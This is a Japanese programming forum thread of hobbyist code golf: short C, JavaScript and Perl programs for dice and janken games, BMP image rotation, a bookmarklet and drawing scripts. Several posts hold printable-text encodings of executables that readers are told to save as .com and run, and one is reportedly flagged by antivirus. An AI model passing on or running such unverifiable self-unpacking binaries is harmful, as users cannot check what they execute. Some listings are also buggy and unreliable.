2005/03/28(月) 21:33:560922デフォルトの名無しさん
2005/03/28(月) 21:53:56>>824-828
0923デフォルトの名無しさん
2005/03/31(木) 09:43:10出た目の合計が7,11なら勝ち。2,3,12ならば負け。
それ以外の数の場合、同じ数になるまで振り続ける。途中で7が出ると負け。
面白くもなんともないな○| ̄|_
#include<stdio.h>#include<stdlib.h>#include<time.h>int dice1,dice2,point,point2,mode;int shake(int mode){
srand(time(NULL));dice1 = rand() % 6 + 1;srand(time(NULL));dice2 = rand() % 6 + 1;if(mode == 0)
{point = dice1 + dice2;return;}if(mode == 1){point2 = dice1 + dice2;return;}}int main(void){shake(0);
switch(point){case 7:case 11:printf("Point:[%d]\n",point);printf("Win!\n");;return;case 2:case 3:
case 12:printf("Point:[%d]\n",point);printf("Lost.\n");return;default:printf("Point:[%d]\n",point);
printf("Shakking...");break;}while(1){shake(1);if(point2 == point){printf("\nPoint:[%d]\n",point2);
printf("Win!\n");break;}if(point2 == 7){printf("\nPoint:[%d]\n",point2);printf("Lost.\n");break;}}}
0924デフォルトの名無しさん
2005/03/31(木) 13:40:52#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char*o[]={"Win!","Lost.","Shaking..."},p,q;void t(r,i){printf("Point:[%d]\n%s\n"
,r,o[i]);}char s(){return rand()%6+rand()%6+2;}int main(){srand(time(0));if((p=s
())==7||p==11){t(p,0);return 0;}if(p==2||p==3||p==12){t(p,1);return 0;}t(p,2);f\
or(;;){if((q=s())==p){t(p,0);break;}if(q==7){t(q,1);break;}}return 1;}
圧縮してみた。
(gcc -Wall対策のやつを除いて)もっと縮められそうなんだが、どうも妙案が思いつかない。
0925デフォルトの名無しさん
2005/03/31(木) 21:55:56function o(m){document.getElementById("a").innerHTML+=m}
function r(){return Math.floor(6*Math.random())}function s(){return r()+r()+2}
function v(p){o("["+p+"]<br>")}
function w(){o("You Win!<p>")}function l(){o("You Lost!<p>")}
function u(p){v(q=s());(p-q?q-7?u:l:w)(q)}</script><div id=a><p></div>
<button onclick="v(p=s()),(p-2||p-3||p-12?p-7||p-11?u:w:l)(p)">Shake</button>
0926925
2005/03/31(木) 22:03:26<script type="text/javascript">var p,q;
function o(m){document.getElementById("a").innerHTML+=m}
function r(){return Math.floor(6*Math.random())}function s(){return r()+r()+2}
function v(p){o("["+p+"]<br>")}
function w(){o("You Win!<p>")}function l(){o("You Lost!<p>")}
function u(p){v(q=s());(p-q?q-7?u:l:w)(q)}</script><div id=a><p></div>
<button onclick="v(p=s()),(p-2&&p-3&&p-12?p-7&&p-11?u:w:l)(p)">Shake</button>
0927デフォルトの名無しさん
NGNGfunction o(m){document.getElementById("a").innerHTML+=m}
function r(){return-Math.floor(-6*Math.random())}
function s(){x=r();y=r();o(x+"+"+y+" ["+(z=x+y)+"]<br>");return z}
function u(p,w){w?o("You "+g[w]+"!<p>"):u(q=s(),(p-q?q-7?0:2:1))}
</script><div id=a><p></div>
<button onclick="u(p=s(),p-2&&p-3&&p-12?p-7&&p-11?0:1:2)">Shake</button>
0928デフォルトの名無しさん
NGNGvar p,q,z,a=[,0,0],g=[,"Win","Lose"],F=Math.floor,R=Math.random;
function o(m){document.getElementById("a").innerHTML+=m}
function s(x,y){z=x=-F(-6*R()),z+=y=-F(-6*R()),o(x+"+"+y+" ["+z+"]<br>")}
function u(p,w){w?++a[w]+o("You "+g[w]+"! ("+a[2]+"-"+a[1]+")<p>"):
s()+u(q=z,p-q?q-7?0:2:1)}</script><div id=a><p></div>
<button onclick="s()+u(p=z,p-2&&p-3&&p-12?p-7&&p-11?0:1:2)">Shake</button>
通算成績を表示
まだ文字数には余裕があるけど、これ以上ネタがふくらまないなあ。
0929デフォルトの名無しさん
2005/04/02(土) 19:14:48<div id=a><p></div><button onclick="for(var w,p,y,z=0;!w;)
document.getElementById('a').innerHTML+=
(w=p?z-7?p-z?0:1:2:z-2&&z-3&&z-12?z-7&&z-11?0:1:2)?
'You '+(w-2?++a&&'Win':++b&&'Lost')+'! ('+b+'-'+a+')<p>':
(p=z,y=-F(-6*R()),z=-F(-6*R()))+'+'+y+' ['+(z+=y)+']<br>'">Shake</button>
人間とコンピュータが対戦します。
コンピュータは最初弱いけど、途中から鬼のように強くなってきますw
正直、50点先取とか100点先取で勝てたらすごいと思う。
<div id=a><p></div><script type="text/javascript">var i,a=0,b=0,u=0;H=['グ','チ'
,'パ'],p=[];for(i=0;i<81;p[i++]=0);function o(m,i){document.getElementById('a').
innerHTML+=m}function t(h){k=p[u]>p[u+27]?p[u]>p[u+54]?2:1:p[u+27]>p[u+54]?0:1;p
[u+=h*27]++;u=Math.floor(u/3);i=(3+h-k)%3,o(H[k]+' '+H[h]+'<br>'),i&&(((i-=2)?++
b:++a)+o((i?'<u>':'')+b+(i?'</u>-':'-<u>')+a+(i?'':'</u>')+'<p>'))}</script>
<button onclick="t(0)">グ</button><button onclick="t(1)">チ</button>
<button onclick="t(2)" >パ</button>
0931○×ゲーム。
2005/04/04(月) 06:10:45前に書いた奴です。長くなっちゃったの。忘れてた。
コード用のろだなんてあるんですね。
誰か暇だったら7行に挑戦してみてください。ずるずるコードなんで覚悟してね。
0932デフォルトの名無しさん
2005/04/04(月) 06:23:15<div id=a><p></div><script type="text/javascript">for(p=[i=a=b=u=0];i<81;p[i++]=
0)H=['グ ','チ ','パ '];function t(h){i=p[u]>p[u+1],i+=i?p[u]>p[u+2]:p[u+1]<p[u+
2];document.getElementById('a').innerHTML+=H[i]+H[h]+'<br>'+((i-=h)?(++i%3?b+
'-<u>'+ ++a+'</u>':'<u>'+ ++b+'</u>-'+a)+'<p>':'');++p[u+=h];u=u*3%27}</script>
<button onclick="t(0)">グ</button>
<button onclick="t(1)">チ</button>
<button onclick="t(2)">パ</button>
0933デフォルトの名無しさん
2005/04/15(金) 01:37:05for(l = 1;l < MOKU;l++)if(S[l*(MOKU - 1)] == 0){M = l*(MOKU - 1);}
を<=に修正。
#include<stdio.h>
#define X 3
int S[X*X],P[X*X];
int row(int v){int p=0,h=X;while(--h>=0)p+=S[X*v+h];return p;}
int col(int h){int p=0,v=X;while(--v>=0)p+=S[X*v+h];return p;}
int dia(int u){int p=0,j=X,l,m;if(u)l=m=X-1;else l=0,m=X+1;
while(--j>=0)p+=S[m*j+l];return p;}
void checkwsub(int r){if(r==-X){show();puts("\nYou won!\n");exit(2);}
if(r==X){show();puts("\nYou lose!\n");exit(2);}}
void checkwin(){int v=0,r;for(;v<X;)
checkwsub(row(v)),checkwsub(col(v)),checkwsub(dia(v++));}
int lizsub(int i, int z){
if(row(i)==z)for(l=X;--l>=0;)if(!S[X*i+l])return X*i+l;
if(col(i)==z)for(l=X;--l>=0;)if(!S[X*l+i])return X*l+i;
if(dia(0)==z)for(l=X;--l>=0;)if(!S[X*l+l])return X*l+l;
if(dia(1)==z)for(l=1;l<=X;l++)if(!S[X*l-l])return X*l-l;return -1;}
int lizhi(int i){int l=lizsub(i,X-1);if(l==-1)l=lizsub(i,1-X);
return l;}
ロジック変えないと無理だろうと…
0934デフォルトの名無しさん
2005/04/15(金) 01:37:320935デフォルトの名無しさん
2005/05/04(水) 00:42:35* x == 1 のとき足し算,
* x == 2 のとき掛け算,
* x == 3 のとき累乗計算をします.
* ただし x, y, z は 0 より大きい整数です. 不適切な値の場合は -1 を返します.
*/
int superfunc(int x, int y, int z){
if(x < 1 || y < 1 || z < 1) return -1;
if(x == 1) return y + z;
if(z == 2) return superfunc(x-1, y, y);
return superfunc(x-1, superfunc(x, y, z-1), y);
}
0936デフォルトの名無しさん
2005/05/04(水) 00:47:25スレ違い。
【recursive 】 再 帰 【リカーシブ】
http://pc8.2ch.net/test/read.cgi/tech/1048088635/
0937デフォルトの名無しさん
2005/07/15(金) 09:38:26i=0,d=document,e=d.createElement("script");while(n=s.charCodeAt(i++))v=(n&64)?
(n&31)+(n&32?25:-1):(n&16)?((n&12)==12)?0:(n&15)+52:(n&4)+62,l?(c=b<<8-l|v>>(l-=
2),r+=c?"%"+(c>15?"":0)+c.toString(16):""):l=6,b=v&(1<<l)-1;r&&(e.src=
"http://nurucom-archives.hp.infoseek.co.jp/digital/ecl.js",d.body.appendChild(e)
,function f(){typeof JCT8836=="string"?alert(UnescapeSJIS(r)):setTimeout(f,99)})
()})()
Base64デコーダブックマークレット。Shift_JISの文字列用。
Escape Codec Libraryを使用。
ttp://nurucom-archives.hp.infoseek.co.jp/digital/escape-codec-library.html
UnescapeSJISを適当に変えればEUC-JPやISO-2022-JP用にもなるはず。
このライブラリを使えば文字コードの自動判別も可能らしいが
さすがにそれだとブックマークレットに収まりきらなさそう。
0938デフォルトの名無しさん
2005/07/15(金) 16:56:110939デフォルトの名無しさん
2005/07/25(月) 18:20:04#include<stdio.h>
FILE*R,*S;int i=0,h,s,Y,X,t,p[3];void I(void){i=0,t=0;while(i<4){fputc(fgetc(R)
,S);fseek(R,-1,1);t|=fgetc(R)<<(i++*8);}}main(int c,char*v[]){R=fopen(v[1],"rb"
);S=fopen(v[2],"wb");for(;i<54;fputc(fgetc(R),S),i++);fseek(R,22,0);fseek(S,18,
0);I();h=t;fseek(R,18,0);I();s=t;fseek(R,54,0);fseek(S,54,0);i=h%4;for(X=s;X>0;
X--){for(Y=h;Y>0;Y--){fseek(R,54+(Y-1)*(s*3+i)+(X-1)*3,0);for(c=0;c<3;c++)fputc
(fgetc(R),S);}t=0;while(t++<i)fputc(0,S);}fclose(R);fclose(S);return 0;}
画像を反時計周りに90度回転させるんですが、
できる画像とかできない画像とかいろいろあって変です
だれか改良をお願いします
使い方>>39
P.S.処理遅いです。
0940デフォルトの名無しさん
2005/07/26(火) 00:49:09#include<stdio.h>
FILE*R,*S;int i,h,s,Y,X,t;void O(n){for(i=0;i<4;)fputc(n>>i++*8,S);}I(e){for(
fseek(R,e,i=t=0);i<4;)t|=fgetc(R)<<i++*8;return t;}main(c,v)char**v;{R=fopen(v[
1],"rb");for(S=fopen(v[2],"wb");i<54;fputc(fgetc(R),S),i++);fseek(S,18,0);O(h=I
(22));O(s=I(18));fseek(S,2,0);O(54+(h*3+h%4)*s);fseek(R,54,0);fseek(S,54,0);for
(X=0;X<s;X++){for(Y=h;Y--;)for(fseek(R,54+Y*(s*3+s%4)+X*3,c=0);c++<3;)fputc(
fgetc(R),S);for(t=h&3;t--;)fputc(0,S);}fclose(R);fclose(S);return 0;}
0941939
2005/07/26(火) 19:14:57この分だと時計回りもできそうですね。
本当は時計回りを作ったつもりなんですがなぜか反時計周りになってしまったorz
そこで質問なんですが
BMPは左下から右上に向かうように保存されてますよね
┌─┬─┬─┐
│7 │8 │9 │
├─┼─┼─┤
│4 │5 │6 │
├─┼─┼─┤
│1 │2 │3 │
└─┴─┴─┘
下の順で保存すれば時計回りじゃないんですか?
┌─┬─┬─┐
│9 │6 │3 │
├─┼─┼─┤
│8 │5 │2 │
├─┼─┼─┤
│7 │4 │1 │
└─┴─┴─┘
実際は反時計回りなんですけど・・・
俺のプログラムがおかしかったんでしょうか?
説明変ですいません。回答おねがいします。
0942デフォルトの名無しさん
2005/07/26(火) 20:55:43940じゃないけど、その図は俺には反時計回りに見える。
0943デフォルトの名無しさん
2005/07/26(火) 21:01:210944デフォルトの名無しさん
2005/07/26(火) 23:36:49exec src.bmp dst.bmp [opt]
[opt]無いと反時計回り、あれば時計回りに回転
#include<stdio.h>
FILE*R,*S;int i,s,X=54,Y,f;void D(){putc(getc(R),S);}void O(n){for(i=5;--i;n>>=
8)putc(n,S);}I(e){for(fseek(R,e,i=s=0);i<4;s|=getc(R)<<i++*8);return s;}main(c,
v)char**v;{f=c>3;R=fopen(v[1],"rb");for(S=fopen(v[2],"wb");X--;D());fseek(S,18,
0);O(c=I(22));O(I(18));for(fseek(S,54,0);++X<s;fwrite(&i,1,c&3,S))for(Y=c;Y--;D
(),D(),D())fseek(R,54+(f?c+~Y:Y)*(s*3+s%4)+(f?s+~X:X)*3,0);s=ftell(S);fseek(S,2
,0);O(s);fclose(R);fclose(S);return 0;}
0945デフォルトの名無しさん
2005/07/27(水) 20:10:11exec opt src.bmp dst.bmp
opt:
L....左(反時計方向)回転
R....右(時計方向)回転
X....左右反転
Y....上下反転
#include<stdio.h>
FILE*R,*S;int i,s,X,Y,f,x,y,z;void O(n){for(;i--;z||(n>>=8))putc(z?getc(R):n,S)
;}I(e){for(fseek(R,e,i=s=0);i<4;s|=getc(R)<<i++*8);return s;}main(c,v)char**v;{
Y=*v[z=1]-82;R=fopen(v[2],"rb");S=fopen(v[3],"wb");O(i=54);fseek(S,18,z=0);f=Y-
7?Y-6?!Y:2:3;O(c=I(Y=f<2?22:18));O(I(Y^4));for(fseek(S,54,0);i=4,X++<s;i=c&3,O(
0))for(Y=c;z=Y--;O(i=3))x=X-1,y=f&1?x=s-X,c+~Y:Y,fseek(R,54+(f<2?y*(s*3+s%4)+x*
3:x*(c*3+c%4)+y*3),0);s=ftell(S);fseek(S,2,0);O(s);fclose(R);return fclose(S);}
0946デフォルトの名無しさん
2005/07/28(木) 22:02:570947デフォルトの名無しさん
2005/08/12(金) 09:02:36#include<stdio.h>
FILE*R,*S;int i,s,t,X,Y,f,x,y;I(e){if(i<0)for(fseek(R,e,t=0);++i<3+!s;e=t|=getc
(R)<<i*8);for(;i--;e>>=8)putc(f?e:getc(R),S);return t;}main(c,v)char**v;{if(S=c
>3&&(R=fopen(v[2],"rb"))?fopen(v[3],"wb"):0){puts(v[2]);puts(v[3]);fseek(S,18,I
(i=54));c=*v[f=1]-82;c=c-6U>1?!c:c;f=I(Y=22^c&4);s=X=I(Y^4);for(fseek(S,0,2);X
--;i=f&3,I(0))for(Y=f;t=Y--;I(54+x*(t*3+t%4)+y*3))x=s+~X,t=y=c&1?x=X,f-t:Y,t=c<
2?y=x,x=t,s:f;s=ftell(S);i=4;fseek(S,2,0);I(s);fclose(S);}return!R||fclose(R);}
0948デフォルトの名無しさん
2005/08/20(土) 12:24:32exec src.bmp dst.bmp
#include<stdio.h>
FILE*R,*S;int i,X,Y,f,x,y;I(e){for(i=e=fseek(R,e,0);i<1+3*!Y;e|=getc(R)<<i++*8)
;return e;}void O(n){for(;i--;n>>=8)putc(f?n:getc(R),S);}V(u){return I(54+(y*2+
u/2)*(X*3+X%4)+u%2*3+x*2-x%3);}main(c,v)char**v;{if(S=c>2&&(R=fopen(v[1],"rb"))
?fopen(v[2],"wb"):0){O(i=54);fseek(S,f=18,0);O((X=I(f))/2);O((Y=I(22))/2);for(
fseek(S,0,2);y<Y/2;i=x/3&3,O(x=!++y))for(;x<X/2*3;x++)O((V(0)+V(1)+V(2)+V(3)+2)
/4);i=4;c=ftell(S);fseek(S,2,0);O(c);fclose(S);}return!R||fclose(R);}
0949デフォルトの名無しさん
2005/09/13(火) 05:42:20Domain Information: [ドメイン情報]
a. [ドメイン名] PCCOL-TDC.CO.JP
e. [そしきめい]
f. [組織名] 株式会社 トヤマデータセンター
g. [Organization] TOYAMA DATA CENTER CO.
k. [組織種別] 株式会社
l. [Organization Type] Company
m. [登録担当者] HS342JP
n. [技術連絡担当者] HS342JP
p. [ネームサーバ] ns-kg021.ocn.ad.jp
p. [ネームサーバ] ns.pccol-tdc.co.jp
[状態] Connected (2005/10/31)
[登録年月日] 1996/10/23
[接続年月日] 1996/11/19
[最終更新] 2004/11/01 01:07:58 (JST)
0950デフォルトの名無しさん
2005/09/15(木) 19:45:11for (my $i = 0; $i < $x; $i++) { $c[$i]= "0"; }
$a[32] = 1; $a[33] = 2; for (my $j = 0; $j < 100; $j++) {
for (my $k = 0; $k < $x+2; $k++) { $c[$j][$k] = $a[$k-1]+$a[$k+1]; }
for (my $i = 0; $i < $x; $i++) { $u = $c[$j][$i]; $u =~ s/0/ /g; print "$u"; }
for (my $k = 0; $k < $x; $k++) { $a[$k] = ($c[$j][$k-1]+$c[$j][$k+1]) % 3; }
print "\n";}
0951デフォルトの名無しさん
2005/11/17(木) 02:20:17#include <complex>
#include <valarray>
using namespace std;typedef complex<double>c;typedef valarray<c>a;a f(a&s){int
n=s.size(),h=n/2;if(n>1){a x(0.,h),y(0.,h);for(int k=0;k<h;++k){x[k]=s[k]+s[k+h
];y[k]=(s[k]-s[k+h])*exp(c(0,-2*M_PI*k/n));}a d(0.,n);d[slice(0,h,2)]=f(x);d[
slice(1,h,2)]=f(y);return d;}else return s;}
0952デフォルトの名無しさん
2006/01/24(火) 13:50:13com2txt/Nide5UqPWX,wP500-MQP4UP-wx4XP5rjP5Z2P-jC,JP=
5O4,APRX5BZP-pJPPQX42P-r=PRX55aP59DHHP-99,UP-lt,mP-uq=
P5_VHP-4A40PTZ,TPP_RX__np4PmDkMH3QHnr44sREs46dl4XoXc.X
l4CO4L566TpJyAPCsigPnl_5rkbZ4OPEu9Nl5Sxuu5jptHBraOCmvB
Jp8WGPClErjL8BjmEjz44Dsr2tapxowl_5rkhCi553Yop4AAa6Np5N
dclNNv6cC5wLhcmnNp98443PYsRDDPZjxNerkb50tQsORsRFq5sO48
j9hgo7s46fe4E1PCa6KvKgN59i.4boJb5J4OBQtBkQ4sREsMucia.A
FkXoHkHkPL573T6LfkCcBTUIt4zkkBCO4kHoHkONjb88stkQ4Aa5MH
UiYCa7rUsO5xmi3mC9MHPXNAq6z44FK8k7.4edkrhCABONdS9.nYZn
x0FVkL8Bjov4BmE3MHWHeG.0tR2taC.xGG9mE4hqOAHqOBHqOCKi.4
k.4R8tamDFzX4KMH3.4SLtas444.4444Ep444Al4444UDUMTCt4KRu
EStXmKRP84P1MVe244P4444P44PC55pHGKPC44444cLbNvKhP4KPIs
RFx4DsMHW1i3cLrHRPGZPAPQP44S4DA4J62otLGB4C.448ABpDEC44
BAph4DA44444P4444H42D4D444A44444B444DAp24A42H4B44444BA
pX44.2E4A444A4GA44P444PApX4D42K4F4P4448AuP4D444D4234By
tYWat4444x.2D4A44444B44444.2N4B444F4GH4CFD42F4JpPApX4z
rYMZVyi3WUmHDuATtt4HB4mKRt.RFUl3F8.Uv7r3FPaHBtmKR4.4Fh
4ZAHPP4AhGqA44Fh4ApGhApDG4444Z.ChA.444O8eBAA44O8e4AA44
LsLiA4GB.BzD444BA444IpPAph4uA44444PAqX4qa4GA.BlD42F4It
ASVUs2vEgYTIo0DD41WMe2cLrKfQl3444.4AE0FetTGIoXvUs2pAkY
WInYVpsLbyd3FpG5p4GHP4:
0953デフォルトの名無しさん
2006/01/24(火) 22:07:140954デフォルトの名無しさん
2006/01/25(水) 03:02:21comから32bit exeを展開するだけで大変なので誰か7行(532byte)に削ってくれ
0955デフォルトの名無しさん
2006/01/26(木) 13:24:50(´・ω・`)むりぽ
1025byte
T_OOWW3=XXWXPY50PPZ5jQP_-ys,A1Ea5y852cP4Z4PP-pV40P-BOu
com2txt/Nide5UqPWX,wP500-MQP4UP-wx4XP5rjP5Z2P-jC,JP=
5O4,APRX5BZP-pJPPQX42P-r=PRX55aP59DHHP-99,UP-lt,mP-uq=
P5_VHP-4A40PTZ,TPP_RX__np4PmDkMH3QHnr44sREs46dl4XoXc.X
l4CO4L566TpJyAPCsigPnl_5rkbZ4OPEu9Nl5Sxuu5jptHBraOCmvB
Jp8WGPClErjL8BjmEjz44Dsr2tapxowl_5rkhCi553Yop4AAa6Np5N
dclNNv6cC5wLhcmnNp98443PYsRDDPZjxNerkb50tQsORsRFq5sO48
j9hgo7s46fe4E1PCa6KvKgN59i.4boJb5J4OBQtBkQ4sREsMucia.A
FkXoHkHkPL573T6LfkCcBTUIt4zkkBJrKrCO4dONjb88stkQ4Aa5MH
UiYCa7rUsO5xmi3mC9MHPXNAq6z44FK8k7.4edkrhCABONdS9.nYZn
x0FVkL8Bjov4BmE3MHWHeG.0tR2taC.xGG9mE4hqOAHqOBHqOCKi.4
k.4R8tamDFzX4KMH3.4SLtas444.4444Ep444Al4444UDUMTCt4KRu
EStXmKRSU441MV.AMZVyi3WUmHDuATtt4HB4mKRt.RFUl3F8.Uv7r3
FPaHBtmKR4.4ItASVUs2vEgYTIo0DD44DlG4y4G4wUsYWHsLbyd3Fp
4.4AE0FetTGIoXvUs2pAkYWInYVpsLbyd3Fp4Z.Ah4pA44F.P4D44Z
.ChCP2CZ.ChApS5IS.4P4C5IXp4P44iApMPQP44S4DAApw.448ABpD
GCfXGAA4G4r4GAD444A4G4pH444PGApPGBB4G4pHGA.HGEq4GCA444
CpGTs.G4x.GJA4G4pHG4pHGCb444F4GTDPPApi4ApNLApL8D42JVP2
CN42WRp2GJP_5A9p:
0956デフォルトの名無しさん
2006/01/26(木) 15:42:29うちのノートン大先生が激怒する・・・
セクション以外のところに読みにいくとウイルス扱いされてるみたい。
圧縮するのはやっぱり0x00決めうちのほうが小さくなるのか。
PEヘッダ圧縮できねーヽ(`Д´)ノウワァァン
0957デフォルトの名無しさん
2006/01/26(木) 16:25:260958デフォルトの名無しさん
2006/01/26(木) 19:53:160959デフォルトの名無しさん
2006/03/01(水) 04:07:500960955
2006/03/01(水) 17:42:07七行に収まったけど、見ても面白くないです。
:?7%00%DDPYA44P,5@P_4?P],}P^5'2PZ-%qPR545PZ5E]1F}5uAP5,ZP]5w9'PU/5zjPRQu
:Nide/com2txt/X-uw'P'5+~PZ5g(P]-vjPRU-*`P5H9P-E)PZ-KaP5V2P]5hTP5BSPRUVES
:?[X5;:PZ5WN'PR',~P/5`QP5Z P-UrPEUQ]EENNNNNN:~
:~._&^:Af-`l/m==3#e^@f--PjaeE!`!Jm=v[[<.r6eL?X!Bm]!I[%.&6&&I![6Pdd#,!m!^
:H7f-Mivl!Icj^6f--@@A[arm?"?]$sjX_1C.[_JC8[A^>Df-Pi@_!;f$-@^7Af-c;;@<`%.
:!7!=v=<=p@"cac&!w.+-!7!+.N&O&PM+Q'X7M<9MM;!!6Ql!&W!$!Mc!P!O`,N7MY&M!MC"
:O"Ow,M!Nv!Q(&FP)M/tQ=+MV"Q/&wM!M!wQ&,QNWV!;iCHHBRDC8G<J7Qs2IHCH=32Qu*
0961デフォルトの名無しさん
2006/03/01(水) 21:00:58ちょっと驚いたのでage
0962デフォルトの名無しさん
2006/03/02(木) 05:14:55うちの2000では通らなかったので勝手に修正してみるテスト
user32->user32.dll
ローダのテンポラリ領域をクリアするようにしてみた
:?7%00%DDPYA44P,5@P_4?P],}P^5'2PZ-%qPR545PZ5E]1F}5uAP5,ZP]5w9'PU/5zjPRQu
:Nide/com2txt/X-uw'P'5+~PZ5g(P]-vjPRU-*`P5H9P-E)PZ-KaP5V2P]5hTP5BSPRUVES
:?[X5;:PZ5WN'PR',~P/5`QP5Z P-UrPEUQ]EENNNNNN:~
:~._&^:?f-3b<Q6lmZPi_,E!sZ3#e^@f)-HB=H=PjQ:4L!PBq"1LB!Q(!Jm=v[[<.r6eL?X!
:Bm]!I[%.&6&&I![6Pdd#,!m!^K7f-5hsIk^f6f-@.@AQ6"rm??$]$sXO_1C[E_JC[cA^>f3
:-Pi_%!;f-)@^7f%-cL!c;@<`_%!7!w==<=Hp"ca@c!w.B+!7!B+N&Oj&M+QQ'7M<09M;!E!
:Ql!3&!$!pM!P!SO,N7QM&M!JM"O"ZO,M!wN!Q(K&P)MY/Q=+lM"Q/Z&M!Mw!Q&,kQLQ-QV!
:;CMHHBD[C8GJt7QLQaHIHC)H321ACFFQZLQI*
0963デフォルトの名無しさん
2006/03/02(木) 07:09:310964デフォルトの名無しさん
2006/03/02(木) 07:12:14:?7%00%DDPYA44P,5@P_4?P],}P^5'2PZ-%qPR545PZ5E]1F}5uAP5,ZP]5w9'PU/5zjPRQu
:Nide/com2txt/X-uw'P'5+~PZ5g(P]-vjPRU-*`P5H9P-E)PZ-KaP5V2P]5hTP5BSPRUVES
:?[X5;:PZ5WN'PR',~P/5`QP5Z P-UrPEUQ]EENNNNNN:~
:~._&^:Af-`l"m3e^-@f-=J=PjaHE!`!MmPu=2v[<.)r6L?SO"]!"I%.&I!E[Pdd\"!^7
:Af-Mvjl!Ik9^6f-D@@Aa"rm??$]$sXO_1C[E_JC[cA^>f3-Pi_%!;f-)@^7f(-c;@k<`%!G
:7!==s<=p"%caMwJ.+!7gN&O&PM+Q'X7M<9MM;!!6Ql!&W!$!Mc!P!O`,N7MY&M!MC"O"Ow,
:M!Nv!Q(&FP)M/tQ=+MV"Q/&wM!M!wQ&,QNWV!;iCHHBRDC8G<J7Qs2IHCH:321C(FFQt*
0965964(=952)
2006/03/02(木) 07:41:28ttp://winny.info/fileboard/files/img20060302073834.zip
955さん七行にしてくれてありがとうです
0966デフォルトの名無しさん
2006/03/02(木) 08:09:07:Nide/com2txt/X-uw'P'5+~PZ5g(P]-vjPRU-*`P5H9P-E)PZ-KaP5V2P]5hTP5BSPRUVES
:?[X5;:PZ5WN'PR',~P/5`QP5Z P-UrPEUQ]EENNNNNN:~
:~._&^:Af-`l"m3e^-@f-=J=PjaHE!`!MmPu=2v[<.)r6L?SO"]!"I%.&I!E[Pdd\"!^7
:Af-Mvjl!Ik9^6f-D@@Aa"rm??$]$sXO_1C[E_JC[cA^>f3-Pi_%!;f-)@^7f(-c;@k<`%!G
:7!==s<=p"%caMwJ.+!7gN&O&PM+Q'X7M<9MM;!!6Ql!&W!$!Mc!P!O`,N7MY&M!MC"O"Ow,
4行目のが化けてるよ
0967デフォルトの名無しさん
2006/03/02(木) 11:08:210968デフォルトの名無しさん
2006/03/02(木) 13:13:27もっといろいろさせたかったけどあまり縮まなかったので、サンプル2点だけ
IE6だと見えるが、Mozillaだと見えないみたい
<body><script>function Y(x,y,w,z){c=(C=x-w)*C>(C=y-z)*C;for(a=s=c?x>w?(e=x,t=z,
u=y,w):(e=w,t=y,u=z,x):y>z?(e=y,t=w,u=x,z):(e=z,t=x,u=w,y);b=(u-t)*(a-s)/(e-s)+
t,a<=e;a+=2)document.write("<dd style='background:red;position:absolute;top:"+(
c?b:a)+";left:"+(c?a:b)+";overflow:hidden;width:2;height=2'>")}G=P=Q=r=99,R=66,
S=33,A=Math.PI/20;F=P+r;for(i=41;i--;Y(F,G,F=P+j*Math.cos(i*A),G=Q+j*Math.sin(i
*A)))j=[r,S,R,S][i%4];F=G=P=Q=220;for(i=1;i<41;i++)Y(F,G,F=P+(j=[0,S,R,S][k=i%4
])*Math.cos((k+=i)*A),G=Q+j*Math.sin(k*A));</script>
0969デフォルトの名無しさん
2006/03/02(木) 18:06:10ジャバスクってこんなことできんのね・・って見てたらブラウザ固まった…orz
0970デフォルトの名無しさん
2006/03/03(金) 00:10:30僕のブラウザも固まった・・・orz
0971デフォルトの名無しさん
2006/03/03(金) 00:36:320972デフォルトの名無しさん
2006/03/03(金) 01:50:144行目、「height=2」を「height:2」に変えたらFirefox 1.5でも見れた。
0973デフォルトの名無しさん
2006/03/03(金) 18:39:13フケタタイ カ サョo3レS]サ」J3レセ -ク$$Pクヘハ3チP_WWWWWWWWWWWクYJ3テPUSVRRWクm Pクーフ3ナPUSp
!VRRWクm Pクワフ3ナPクョホ3ナPUSVRRWク!!PクンンPPクゥゥPPPクブPRRク /PRRUSVRRWクA}3チPクS13チPp
!クO)Pク6a3チ3ツPクo」3ツPクタa3チ3ツPUSUSVWーA3チエRPクa<3チ3ツPーA3チエ^PUSVRRーハ3チエ Pp
!WWWWWWWTZエノ3チヘ!エw5フpヘ!ヘ フ
0974デフォルトの名無しさん
2006/03/03(金) 18:43:02何でこんな事ができるのかさっぱりわからん
0975デフォルトの名無しさん
2006/03/03(金) 19:10:50すげー。解説kbn
0976デフォルトの名無しさん
2006/03/03(金) 19:15:36どうやって使うのこれ
0977デフォルトの名無しさん
2006/03/03(金) 21:37:56<body><script>function Y(x,y,w,z){c=(C=x-w)*C>(C=y-(t=u=e=z))*C;for(a=s=c?x>w?(
e=x,u=y,w):(e=w,t=y,x):y>z?(e=y,t=w,u=x,z):(t=x,u=w,y);b=(u-t)*(a-s)/(e-s)+t,a
<=e;a+=2)document.write("<p style='background:red;position:absolute;top:"+(c?b:
a)+";left:"+(c?a:b)+";overflow:hidden;width:2;height:2'>")}G=P=Q=r=99,R=66,S=33
,A=(M=Math).PI/20;F=P+r;for(i=41;i--;Y(F,G,F=P+j*M.cos(i*A),G=Q+j*M.sin(i*A)))j
=[r,S,R,S][i%4];F=G=P=Q=220;for(i=42;i--;)Y(F,G,F=P+(j=[0,S,R,S][k=i%4])*M.cos(
(k+=i)*A),G=Q+j*M.sin(k*A));</script>
2行目が1文字少ない
0978デフォルトの名無しさん
2006/03/04(土) 02:46:40すげー。ハンドアセンブル?
>>976
4行をテキストエディタとかにコピーして、拡張子をcomとして保存して実行。
テキストだけどバイナリとして実行できるデータの並びになってる。
0979デフォルトの名無しさん
2006/03/04(土) 13:30:050980デフォルトの名無しさん
2006/03/13(月) 07:29:270981デフォルトの名無しさん
2006/03/14(火) 14:21:400982デフォルトの名無しさん
2006/03/15(水) 13:26:29ただ単に作った実行形式ファイルの拡張子を.txtにしてコピペしただけじゃね?
0983デフォルトの名無しさん
2006/03/15(水) 13:56:240984デフォルトの名無しさん
2006/03/15(水) 14:08:090985デフォルトの名無しさん
2006/03/15(水) 14:55:33お前頭いいな!
ついでに次スレも立てといてくれ!
0986デフォルトの名無しさん
2006/03/15(水) 18:22:56http://www.vector.co.jp/soft/dos/util/se004841.html
0987デフォルトの名無しさん
2006/03/15(水) 20:13:13COM2TXTはヘッダ部分が"T_OOWW"になるし、
7行に収まらないことが多いよ
それ以外の奴はハンドアセンブルで書いてると思うよ
0988デフォルトの名無しさん
2006/03/15(水) 21:42:55exeでもいいじゃんか
0989デフォルトの名無しさん
2006/03/16(木) 08:59:27":?7%00%DDPY"の系統のやつもCOM2TXT
>>973だけが別系統っす。
COM2TXTのやつは、スタックに積んだデータが自己解凍ルーチンになっていて
テキスト変換した実行可能バイナリが展開されるんだけど、
